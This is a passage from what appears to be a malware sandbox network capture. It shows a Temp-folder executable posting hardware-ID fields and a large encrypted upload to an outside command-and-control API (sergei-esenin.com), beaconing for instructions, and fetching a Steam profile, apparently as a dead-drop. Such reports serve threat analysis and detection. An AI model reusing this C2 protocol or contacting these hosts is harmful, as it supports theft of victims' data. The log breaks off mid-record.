cfL4;desc="?proto=TCP&rtt=1412&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2246&delivery_rate=1909030&cwnd=233&unsent_bytes=0&cid=6e78e607432b4a73&ts=514&x=0"
2024-10-24 07:08:27 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 07:08:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50010	104.21.53.8	443	7836	C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:08:29 UTC	373	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=o3_cIchpFPuloNVIOxm9uFB1s4rFy0KGPikbhHN7NRI-1729753700-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 564581 Host: sergei-esenin.com
2024-10-24 07:08:29 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 46 36 42 35 35 41 45 45 46 37 45 42 31 39 36 45 30 42 37 46 44 30 38 34 30 37 37 44 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5EF6B55AEEF7EB196E0B7FD084077D23--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 07:08:29 UTC	15331	OUT	Data Raw: f5 ab f6 38 4d 4a 4c 4a 35 57 c5 88 19 9e fa 2b 35 e8 3d 98 9a 7d fb 60 aa 14 50 19 83 72 5a 60 57 1b 77 e6 8c 02 c8 74 21 82 06 fa eb 11 fe 73 b8 41 76 68 4b 65 b9 6c 76 42 b7 6b a3 f7 33 c3 05 8e 9a ea 08 cb 73 e3 a5 01 ce 9b a5 ff dd 57 f0 ff 7d c9 00 f4 8a 6e 30 8b 03 89 16 d4 62 2e 60 d7 fe 5a ce 64 da 64 8e c6 fa a6 b0 4b 28 7e db 50 bc 9d 94 90 83 71 f0 56 9c b9 73 cf af a6 27 37 20 02 2e a6 65 3b 7b e2 40 9b 32 ef 0f 0b 74 fc b6 3c e7 6a 48 49 03 a6 6e 13 54 ea d0 02 36 df 66 46 26 bd 33 67 8b f5 c9 d1 5d 78 50 dc 68 44 ca 93 c5 29 0d fe 77 dd 64 6a 9d 95 a2 f6 30 ac c0 aa 04 76 1e fc 1f 95 55 98 f2 b3 98 39 0a 12 13 04 b9 2b 73 9b 5d c4 79 a4 15 e5 06 ee 62 8e 6f a8 a6 30 99 44 43 bc 8e f0 86 dc ca a7 10 d8 78 5b e9 83 48 53 2c ec ff 13 5a db 8a Data Ascii: 8MJLJ5W+5=}`PrZ`Wwt!sAvhKelvBk3sW}n0b.`ZddK(~PqVs'7 .e;{@2t<jHInT6fF&3g]xPhD)wdj0vU9+s]ybo0DCx[HS,Z
2024-10-24 07:08:29 UTC	15331	OUT	Data Raw: 9c 02 36 ff b7 91 d9 68 cd 8d 65 c0 26 21 9d ea 28 f9 ff fb 30 c0 83 3b c9 2f 8c 01 82 be 30 22 53 92 82 9d 40 89 a4 2d 87 c0 dc cd 45 49 f1 09 b1 0e c8 75 35 62 53 65 58 d6 09 96 0f 43 98 45 5a cd 9a 57 99 75 ee e3 e6 a2 4f 47 6f 67 fc 7a 5c cd a2 42 db ef 32 3b 8b ff 1a ec 36 16 80 b5 8a 1d 31 a2 4c a7 3c 34 92 ef 5b 45 35 9b 52 ef 73 65 2f 32 24 36 87 35 03 70 97 cc d9 c1 82 64 21 7e 28 09 bc fc 1e fd 44 b5 cc 90 9e bb a3 c5 78 63 fb 51 d5 a4 39 44 de 55 5b e7 b0 b2 3b b1 8f b7 21 c1 76 15 d8 31 c4 25 a5 ec 54 f5 e7 97 b1 a3 91 4c f5 d2 a1 74 31 b3 56 86 3c 34 69 d4 48 6e d1 6b a2 24 2d eb ff 05 96 c2 31 49 0a 6a 93 22 54 02 fb c6 c7 03 c7 6e 0e e0 ed 73 92 c0 52 66 28 69 e6 89 30 69 6a 7a 75 e2 0d a5 96 5f b1 37 bd b4 47 7f 63 fa 38 15 89 2d 84 2d 2a Data Ascii: 6he&!(0;/0"S@-EIu5bSeXCEZWuOGogz\B2;61L<4[E5Rse/2$65pd!~(DxcQ9DU[;!v1%TLt1V<4iHnk$-1Ij"TnsRf(i0ijzu_7Gc8--*
2024-10-24 07:08:29 UTC	15331	OUT	Data Raw: c5 d5 e2 10 71 a8 fb 91 4b 3a 9a 51 14 1a ed 4d e6 05 5b 79 8f a2 18 4f d4 00 ee 1d 5e c5 68 78 b3 55 b0 d9 bd c0 8b bd 6f f5 dc 66 d3 ba 73 1b ef 98 e4 05 7e e0 55 ac 4c 17 19 ff 3a f4 ae bf 5c 2c df e2 1e c1 f8 0c cc 7c 4c 0b 9b d6 68 61 fc 6d b0 33 b3 be e3 27 c6 e8 0a 71 4b 97 81 c5 e4 6b 2b 38 df fd ae 29 d1 a1 71 66 ac e2 61 45 da 23 7d f1 bf c9 75 ad d5 55 45 36 9c bc bf e5 04 d3 5f e6 9a 8f 7c ef 9e 6a ff 37 3c 50 87 a8 7a 4c ea c3 1c b8 7f 6c 7f ec e4 8a 36 9b 5a fd e5 54 da 42 70 e3 5a 6c d9 17 c3 eb e3 77 d6 8c a6 f8 8e d3 52 43 59 b9 57 ff 3a b1 e9 fd c9 50 81 16 e2 f8 f5 5b ec c6 d4 82 ac 15 be 70 66 a1 2a 21 fd 5c e8 7c 7f 98 c3 a7 fa ea bf dd e5 7e ca b5 5e 6c e5 54 8d 45 88 a4 06 fa 0f b2 d4 64 7c 96 27 d6 5e 7a 2f 9f 36 e1 03 ed 4b 9c 98 Data Ascii: qK:QM[yO^hxUofs~UL:\,\|Lham3'qKk+8)qfaE#}uUE6_\|j7<PzLl6ZTBpZlwRCYW:P[pf*!\\|~^lTEd\|'^z/6K
2024-10-24 07:08:29 UTC	15331	OUT	Data Raw: 63 02 ef b3 6e dc 26 fe 87 03 73 79 64 2f ce d7 e3 77 97 52 75 36 a7 8f ee b6 1a 08 e5 5e c5 23 e8 1a 7f 65 e5 a5 4f d2 5c ad 1d de 18 98 e3 32 4b c1 8c 1e 99 ac 17 b7 ab 06 83 04 e1 77 ab 51 45 ce 69 62 71 fa 8d 34 68 c1 0a 63 1c 84 18 eb c1 9e b8 42 63 3a 01 74 e1 0b e3 37 a7 15 0d 45 6f f5 a6 e4 47 d2 3b f2 0c 95 30 dc 5f 05 cf 37 91 9e d7 0e ca 9f e7 83 6a 08 e0 7c b3 d8 13 16 75 82 d9 97 53 90 b6 d5 23 bc fb d1 23 67 51 f7 b1 4f 1e 26 2b 40 89 d4 15 10 1a f5 52 36 0b 5f 84 0d ed de 65 c3 85 91 90 eb 56 67 b1 a4 07 f9 4a 76 84 e6 bf fd c8 56 03 45 4d 41 25 ab e8 5f 27 c9 f1 02 02 7f e6 58 29 d7 e6 72 d7 78 6b fd 95 35 2e 60 f7 db f4 81 08 a8 a0 d5 d4 15 5d 6a e3 df bb 7a ee c2 c2 c9 f3 7e 49 8b 36 c7 2a 7e b9 1f 7b c7 34 3f ef fc 88 4e 5e e0 f9 cf dc Data Ascii: cn&syd/wRu6^#eO\2KwQEibq4hcBc:t7EoG;0_7j\|uS##gQO&+@R6_eVgJvVEMA%_'X)rxk5.`]jz~I6*~{4?N^
2024-10-24 07:08:29 UTC	15331	OUT	Data Raw: 88 57 e4 43 4b 87 6a f3 7d f8 2d 3a d7 71 61 43 9d ab 52 99 e5 57 f0 34 84 4c a1 1c 08 f6 12 1e 39 58 da 56 cd 7b 05 84 38 4d 73 bc 72 51 51 3e c4 dd 6d d2 25 93 97 84 8d 9a c0 60 f2 96 13 cc 9c a0 91 a0 3a 93 13 0f 28 0d 56 05 c6 e1 1e f9 b0 92 e0 e2 fb 80 49 87 79 fc 91 17 22 0d 4e 51 bf 65 8f 10 3f 24 98 db 86 79 71 de b3 4b 8b e5 5a 1e 6c 9a 97 4f 1b 4d d2 4b fe 9d 15 47 99 bb 44 5e a0 de ec dc 75 d2 90 e1 f4 a1 f6 4e aa e2 32 43 37 93 5e 22 6a 74 25 64 f6 2b b9 2e a8 58 a7 f6 a7 88 9a 4a dc 07 7b 58 17 eb e7 05 3e 62 13 9d ce 63 32 4c f5 4a f0 2e 9a f8 b5 43 47 c3 1c 8f 24 0e 91 4e 8d cd 50 a6 b5 6a c5 ea 7c df e7 dc dd 3b 20 f1 f8 0d 55 6b 9b c8 1b 51 84 d9 9b af 6b 35 10 7e 04 40 2a 63 7e 58 27 9f 41 e9 61 1b e7 9f 28 03 7a 99 39 97 8a 7c 65 14 a1 Data Ascii: WCKj}-:qaCRW4L9XV{8MsrQQ>m%`:(VIy"NQe?$yqKZlOMKGD^uN2C7^"jt%d+.XJ{X>bc2LJ.CG$NPj\|; UkQk5~@*c~X'Aa(z9\|e
2024-10-24 07:08:29 UTC	15331	OUT	Data Raw: 0b 44 93 48 67 28 fd 9f 95 c9 cf 92 b0 98 bd 82 46 c1 a7 b8 c1 66 12 a8 a9 2b c6 af 14 b7 a1 66 fa 83 50 ac ab 87 55 6e f4 06 5f 0a a3 a5 47 15 68 b1 8f 70 37 46 83 c8 0c 7a 98 8f 1f 49 45 8d ab 05 41 84 78 95 4a b4 49 da 61 f0 70 de 29 60 eb 6d e3 0c 79 7a f2 c7 e1 35 85 97 b3 91 cb 5a e4 84 21 f4 46 4e a0 dc 60 a5 0e 14 f6 84 4b 42 49 af 69 a3 70 f7 ce 69 3f e5 ae 60 90 4b 78 02 17 fc f7 89 03 e1 7d 24 c6 50 4c b4 cc 32 51 65 8c fb 3a 14 15 1a 7e 94 11 ca d5 22 0c 33 c4 16 19 d6 47 5d af 1b 59 39 61 b6 a2 16 b0 3f cf d1 a7 58 16 09 4e 2f 03 3d cc 54 b2 67 2b 77 78 d6 fa 93 2a 57 24 a6 d4 6a cb d0 71 22 ae 0d a5 5b a2 50 9d f8 23 4a 91 60 58 b3 16 17 31 8e 1c bb c6 df d0 e3 63 7f 05 6f 60 e5 3c 64 e1 84 d8 18 16 ff c8 f0 23 27 e1 10 86 58 8b d9 c4 9e 7b Data Ascii: DHg(Ff+fPUn_Ghp7FzIEAxJIap)`myz5Z!FN`KBIipi?`Kx}$PL2Qe:~"3G]Y9a?XN/=Tg+wx*W$jq"[P#J`X1co`<d#'X{
2024-10-24 07:08:29 UTC	15331	OUT	Data Raw: f3 71 82 78 6a d8 7e a6 c0 cb d7 e0 a0 86 c0 bd ad 8d 15 31 ba ec ba 81 0c bc af 2c dc f7 64 82 3f b1 1c 3f 74 7d 67 f7 65 ca a9 4d 25 4f c0 e1 78 03 a5 4a 01 26 9a 20 ef cb 86 05 07 3c e6 b8 31 7d 0d f7 48 3e 65 f0 a8 c1 b9 9c d8 f4 73 c3 ac db 6f 91 ce 32 85 c7 1a 0a 21 c1 f2 a8 95 fb db c9 c9 51 e5 21 fd c4 a2 2f b5 af 59 d6 53 37 9b 52 dc d4 f9 e9 f9 91 57 c2 52 0e c6 f4 2d 1b b7 2c 7e 41 fe 1d a4 3b 36 ab 47 0f 62 89 0e 62 c2 28 32 cc b8 31 97 a6 5e 2e f2 5d c7 8d f8 f6 36 8f 09 d0 35 aa b9 be 07 88 6d 40 27 16 ee fc 6d b6 cc 18 38 2f 7a 7d 73 95 61 b9 ac a8 27 6a 67 97 4d cc 12 01 2b aa 44 2f af 31 89 1f 95 75 ed 81 b3 10 5c f5 38 c9 92 ac de 23 70 7f 04 1a fb 8d 80 6d f4 6b d9 c6 8c 3d 40 30 cb b4 1b 11 9f 2e ce 73 92 2c 39 25 8f 7f 16 a9 69 88 5f Data Ascii: qxj~1,d??t}geM%OxJ& <1}H>eso2!Q!/YS7RWR-,~A;6Gbb(21^.]65m@'m8/z}sa'jgM+D/1u\8#pmk=@0.s,9%i_
2024-10-24 07:08:29 UTC	15331	OUT	Data Raw: 94 b8 a0 57 86 82 36 9d 31 23 fc 43 54 1f 8e 81 cd 42 83 3a 88 74 92 ea c1 b1 00 c9 23 44 e4 8d e2 02 8e 92 e5 48 f6 5d 24 57 be fc ac eb 3f 32 ea d0 39 df 6c 8d 42 84 b1 c7 16 72 97 94 31 a0 78 ce 10 22 d0 d3 b5 98 e6 14 14 62 f3 e7 24 70 de 93 e2 56 e3 83 be 6a e6 b4 18 ad 26 e4 1a 00 a2 9f 50 cd 9c 98 f1 de a0 5e 91 36 bd 59 1f 44 a4 11 69 7a 4a 5b 34 7e 77 92 24 ef 4d 1f 0d 0d 94 7f e5 5e 88 c8 ae 7e 10 2e 95 c3 42 f2 35 71 cc 15 1d eb c5 10 ef a7 cb c6 78 27 47 e8 c3 7c af 16 f2 3d 07 38 3d 45 70 a8 0f 4a cf 9f d0 69 e5 79 78 25 2c f3 f4 1e 36 10 08 e6 e2 78 37 6b 6a 15 81 e4 11 2a 95 cd 4c af 40 cc df 5f 85 be 89 c5 f5 87 fa 82 17 7d 73 67 3a 9a 5c d0 a1 3d bb c9 eb 8d c7 70 65 0c 57 85 c2 c6 90 7e 6c 9c ee 27 d9 d4 30 19 80 98 ae e5 3c dd 81 49 1e Data Ascii: W61#CTB:t#DH]$W?29lBr1x"b$pVj&P^6YDizJ[4~w$M^~.B5qx'G\|=8=EpJiyx%,6x7kj*L@_}sg:\=peW~l'0<I
2024-10-24 07:08:29 UTC	15331	OUT	Data Raw: ff 63 87 34 44 7a 4a f7 01 c4 a3 2a 35 1a 5f 72 66 8c 92 02 79 8f 8e 14 88 85 5c 86 62 6a ab 6f 9c b3 40 d0 d2 16 c2 cb 50 48 74 9d fd d6 c5 f1 54 ec e6 3e 54 ae 2a 39 66 ca ef 81 9f 19 88 f1 b1 18 80 63 d7 4f 62 90 da d8 23 ad 7c be 7a e5 8e 3e 2b dc 52 3d cc e0 00 10 9e 7f bb d5 5d 6b 54 5b 93 21 c1 d9 0e 5e 4c 09 14 22 d8 e4 ae d1 7b 46 f8 3d 67 1e 4f f8 16 71 f6 8a 59 72 eb 83 3b e4 e5 dd 8e b0 a6 40 59 77 9c 74 80 b5 c7 72 83 a0 7a 1b 8a ec 20 81 62 ba 8b c2 94 30 7f ec 26 7a 75 44 e3 53 78 de e8 cc c5 42 77 28 c3 d9 53 59 c2 13 a6 b9 ca cd 98 f7 44 7f 52 73 ab 8e 08 89 e1 ec 53 88 f5 8b 41 f2 64 8d 91 04 9f 0d bb c1 9a 67 02 a9 7f dc 07 e8 b1 a0 ee 4f 96 2a 83 f8 35 2e de 20 cc a0 8c 1d 20 d7 ca 92 3e e1 62 62 10 82 cb 4c f7 c3 4d 0e b2 d8 e3 cb a7 Data Ascii: c4DzJ5_rfy\bjo@PHtT>T9fcOb#\|z>+R=]kT[!^L"{F=gOqYr;@Ywtrz b0&zuDSxBw(SYDRsSAdgO*5. >bbLM
2024-10-24 07:08:31 UTC	1023	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:08:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mjaf3neopqehbc9ebdot5vrg87; expires=Mon, 17 Feb 2025 00:55:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a4a2srTRTZe1I5BdtQ7HAc9lCGIMp90wgyzZjNp7qfiXIT0HmFUPL9pEHqWHRnADSbAin%2BZhu895GEJ8q3By5liIHtVUaA9%2Fgr8EWasW%2Ftmhcl7IvjevEXEdDxFILD3zVyuikw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7822cb4a946c7a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1238&sent=220&recv=608&lost=0&retrans=0&sent_bytes=2845&recv_bytes=567196&delivery_rate=2210687&cwnd=251&unsent_bytes=0&cid=c999656b48c427ea&ts=1898&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50012	104.21.53.8	443	7836	C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:08:31 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=o3_cIchpFPuloNVIOxm9uFB1s4rFy0KGPikbhHN7NRI-1729753700-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-24 07:08:31 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 35 45 46 36 42 35 35 41 45 45 46 37 45 42 31 39 36 45 30 42 37 46 44 30 38 34 30 37 37 44 32 33 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=5EF6B55AEEF7EB196E0B7FD084077D23
2024-10-24 07:08:32 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:08:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bu2bl0ekjjm39mc5tmkna4e6kc; expires=Mon, 17 Feb 2025 00:55:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sEdu5jPFnqGKMQ2NkObwLYS8Hvk5SJQZLyyS3LDu0D7baKcFuSxo3I6HZUdmiPSZUIja3YTJ%2F%2BYO2c93omtzASD%2BNVHoTxmILX42EMRer6b6U3MvTWl67F7tCpUIDSYTLYs7Nw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7822db0bfe476d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1063&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1077&delivery_rate=2721804&cwnd=251&unsent_bytes=0&cid=692b064de8986fff&ts=495&x=0"
2024-10-24 07:08:32 UTC	299	IN	Data Raw: 31 32 34 0d 0a 51 38 39 62 6f 41 42 55 4c 4d 2f 6c 66 53 64 59 4d 77 47 69 6c 6b 44 6e 32 77 4e 67 45 72 7a 70 74 58 33 4e 64 68 48 45 6e 74 67 59 74 48 6e 56 49 6d 34 4f 70 35 45 4a 56 32 4a 76 4c 76 36 35 63 64 2f 75 4c 56 49 6a 69 63 65 45 54 50 35 59 49 50 4c 43 39 79 36 6d 4e 63 56 63 65 31 36 75 69 78 6c 49 4e 52 31 6b 32 76 4e 69 79 2f 6c 6c 46 44 43 47 32 5a 6c 66 71 46 51 72 39 4f 50 30 4f 4f 30 75 67 6a 70 32 52 4c 75 52 44 52 30 45 48 46 32 4e 70 33 6a 53 39 54 46 52 4a 35 4c 59 68 45 37 6a 52 79 65 59 73 61 73 33 71 6a 72 4e 58 48 74 65 72 6f 73 5a 53 44 55 64 5a 4e 72 7a 59 73 76 35 5a 52 51 77 68 74 6d 5a 58 36 68 55 4b 2f 54 6a 39 44 6a 74 4c 6f 49 36 64 6b 53 37 6b 51 30 64 42 42 78 64 6a 61 64 34 30 76 55 78 55 53 65 53 32 49 52 4f 34 30 Data Ascii: 124Q89boABULM/lfSdYMwGilkDn2wNgErzptX3NdhHEntgYtHnVIm4Op5EJV2JvLv65cd/uLVIjiceETP5YIPLC9y6mNcVce16uixlINR1k2vNiy/llFDCG2ZlfqFQr9OP0OO0ugjp2RLuRDR0EHF2Np3jS9TFRJ5LYhE7jRyeYsas3qjrNXHterosZSDUdZNrzYsv5ZRQwhtmZX6hUK/Tj9DjtLoI6dkS7kQ0dBBxdjad40vUxUSeS2IRO40
2024-10-24 07:08:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50014	104.102.49.254	443	3540	C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:08:34 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 07:08:35 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 07:08:34 GMT Content-Length: 26105 Connection: close Set-Cookie: sessionid=3dc89035b58a2109d32b7c7d; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 07:08:35 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 07:08:35 UTC	11638	IN	Data Raw: 22 3f 6c 3d 74 63 68 69 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 63 68 69 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e7 b9 81 e9 ab 94 e4 b8 ad e6 96 87 20 28 54 72 61 64 69 74 69 6f 6e 61 6c 20 43 68 69 6e 65 73 65 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 6a 61 70 61 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 6a 61 70 61 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e6 97 a5 e6 9c ac e8 aa 9e 20 28 4a Data Ascii: "?l=tchinese" onclick="ChangeLanguage( 'tchinese' ); return false;"> (Traditional Chinese)</a><a class="popup_menu_item tight" href="?l=japanese" onclick="ChangeLanguage( 'japanese' ); return false;"> (J

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	50078	104.102.49.254	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:09:06 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 07:09:07 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 07:09:07 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=0b8d9cf934fd6139817989cf; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 07:09:07 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 